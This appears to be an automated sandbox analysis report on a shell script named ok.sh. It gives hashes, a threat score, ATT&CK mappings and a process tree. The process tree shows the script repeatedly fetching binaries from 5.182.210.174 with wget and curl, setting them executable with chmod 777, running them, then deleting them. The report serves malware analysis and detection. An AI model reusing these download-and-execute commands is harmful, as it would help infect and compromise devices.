7c8936eea92686924155c03b15400323ec6f9a3ff5e9d21deeb95bfb6e9d52f9

Analysis

max time kernel
138s
max time network
140s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/09/2026, 03:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ok.sh
Size 1KB
Sample260902-ej4ygafl6x
SHA256 7c8936eea92686924155c03b15400323ec6f9a3ff5e9d21deeb95bfb6e9d52f9
MD5 326300644720fd0dc56c930059537406
SHA1 ac9fc0a8fd89a05dca04579fabd228f588610e8a
SHA512 f88a3cd00c13a84cac49837eab81d533029ca77a044b447bf05489b9cfe3316fc7d814c8d003cf79869e422dce8c80e9a87dbfa6f1c5c5477fc566b417413002
TLSH
T19331589E55104A710103CA9E73B33148B18DA6FB2C9FDBD4D95C4EA992883CDF2B1B5A
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
845	chmod
677	chmod
758	chmod
765	chmod
774	chmod
799	chmod
851	chmod
858	chmod
685	chmod
692	chmod
710	chmod
735	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/a374c0	678	ok.sh
/tmp/fc1f84	686	ok.sh
/tmp/b407be	693	ok.sh
/tmp/ca1a79	712	ok.sh
/tmp/4d735c	739	ok.sh
/tmp/6c866d	759	ok.sh
/tmp/cbd468	766	ok.sh
/tmp/a464d3	776	ok.sh
/tmp/d7dea9	800	ok.sh
/tmp/6d4af7	852	ok.sh
/tmp/96a1bc	859	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/a374c0	curl
File opened for modification	/tmp/b407be	curl
File opened for modification	/tmp/cbd468	curl
File opened for modification	/tmp/a464d3	curl
File opened for modification	/tmp/6d4af7	curl
File opened for modification	/tmp/96a1bc	curl
File opened for modification	/tmp/fc1f84	curl
File opened for modification	/tmp/ca1a79	curl
File opened for modification	/tmp/4d735c	curl
File opened for modification	/tmp/6c866d	curl
File opened for modification	/tmp/d7dea9	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:650
- /usr/bin/wget
  wget http://5.182.210.174/a374c0
  2⤵
  PID:655
- /usr/bin/curl
  curl -O http://5.182.210.174/a374c0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:671
- /bin/chmod
  chmod 777 a374c0
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /tmp/a374c0
  ./a374c0 bc
  2⤵
  PID:678
- /bin/rm
  rm -rf a374c0
  2⤵
  PID:681
- /bin/rm
  rm -rf a374c0.1
  2⤵
  PID:682
- /usr/bin/wget
  wget http://5.182.210.174/fc1f84
  2⤵
  PID:683
- /usr/bin/curl
  curl -O http://5.182.210.174/fc1f84
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod 777 fc1f84
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/fc1f84
  ./fc1f84 bc
  2⤵
  PID:686
- /bin/rm
  rm -rf fc1f84
  2⤵
  PID:688
- /bin/rm
  rm -rf fc1f84.1
  2⤵
  PID:689
- /usr/bin/wget
  wget http://5.182.210.174/b407be
  2⤵
  PID:690
- /usr/bin/curl
  curl -O http://5.182.210.174/b407be
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:691
- /bin/chmod
  chmod 777 b407be
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/b407be
  ./b407be bc
  2⤵
  PID:693
- /bin/rm
  rm -rf b407be
  2⤵
  PID:695
- /bin/rm
  rm -rf b407be.1
  2⤵
  PID:696
- /usr/bin/wget
  wget http://5.182.210.174/ca1a79
  2⤵
  PID:697
- /usr/bin/curl
  curl -O http://5.182.210.174/ca1a79
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:701
- /bin/chmod
  chmod 777 ca1a79
  2⤵
  - File and Directory Permissions Modification
  PID:710
- /tmp/ca1a79
  ./ca1a79 bc
  2⤵
  PID:712
- /bin/rm
  rm -rf ca1a79
  2⤵
  PID:714
- /bin/rm
  rm -rf ca1a79.1
  2⤵
  PID:716
- /usr/bin/wget
  wget http://5.182.210.174/4d735c
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://5.182.210.174/4d735c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/chmod
  chmod 777 4d735c
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/4d735c
  ./4d735c bc
  2⤵
  PID:739
- /bin/rm
  rm -rf 4d735c
  2⤵
  PID:741
- /bin/rm
  rm -rf 4d735c.1
  2⤵
  PID:742
- /usr/bin/wget
  wget http://5.182.210.174/6c866d
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://5.182.210.174/6c866d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/chmod
  chmod 777 6c866d
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/6c866d
  ./6c866d bc
  2⤵
  PID:759
- /bin/rm
  rm -rf 6c866d
  2⤵
  PID:761
- /bin/rm
  rm -rf 6c866d.1
  2⤵
  PID:762
- /usr/bin/wget
  wget http://5.182.210.174/cbd468
  2⤵
  PID:763
- /usr/bin/curl
  curl -O http://5.182.210.174/cbd468
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /bin/chmod
  chmod 777 cbd468
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/cbd468
  ./cbd468 bc
  2⤵
  PID:766
- /bin/rm
  rm -rf cbd468
  2⤵
  PID:768
- /bin/rm
  rm -rf cbd468.1
  2⤵
  PID:769
- /usr/bin/wget
  wget http://5.182.210.174/a464d3
  2⤵
  PID:770
- /usr/bin/curl
  curl -O http://5.182.210.174/a464d3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:771
- /bin/chmod
  chmod 777 a464d3
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/a464d3
  ./a464d3 bc
  2⤵
  PID:776
- /bin/rm
  rm -rf a464d3
  2⤵
  PID:779
- /bin/rm
  rm -rf a464d3.1
  2⤵
  PID:780
- /usr/bin/wget
  wget http://5.182.210.174/d7dea9
  2⤵
  PID:782
- /usr/bin/curl
  curl -O http://5.182.210.174/d7dea9
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod 777 d7dea9
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/d7dea9
  ./d7dea9 bc
  2⤵
  PID:800
- /bin/rm
  rm -rf d7dea9
  2⤵
  PID:803
- /bin/rm
  rm -rf d7dea9.1
  2⤵
  PID:805
- /usr/bin/wget
  wget http://5.182.210.174/190fcc
  2⤵
  PID:806
- /usr/bin/curl
  curl -O http://5.182.210.174/190fcc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:815
- /bin/chmod
  chmod 777 190fcc
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/190fcc
  ./190fcc bc
  2⤵
  PID:846
- /bin/rm
  rm -rf 190fcc
  2⤵
  PID:847
- /bin/rm
  rm -rf 190fcc.1
  2⤵
  PID:848
- /usr/bin/wget
  wget http://5.182.210.174/6d4af7
  2⤵
  PID:849
- /usr/bin/curl
  curl -O http://5.182.210.174/6d4af7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:850
- /bin/chmod
  chmod 777 6d4af7
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/6d4af7
  ./6d4af7 bc
  2⤵
  PID:852
- /bin/rm
  rm -rf 6d4af7
  2⤵
  PID:854
- /bin/rm
  rm -rf 6d4af7.1
  2⤵
  PID:855
- /usr/bin/wget
  wget http://5.182.210.174/96a1bc
  2⤵
  PID:856
- /usr/bin/curl
  curl -O http://5.182.210.174/96a1bc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:857
- /bin/chmod
  chmod 777 96a1bc
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/96a1bc
  ./96a1bc bc
  2⤵
  PID:859
- /bin/rm
  rm -rf 96a1bc
  2⤵
  PID:861
- /bin/rm
  rm -rf 96a1bc.1
  2⤵
  PID:862

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

a374c0

Path /tmp/a374c0
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads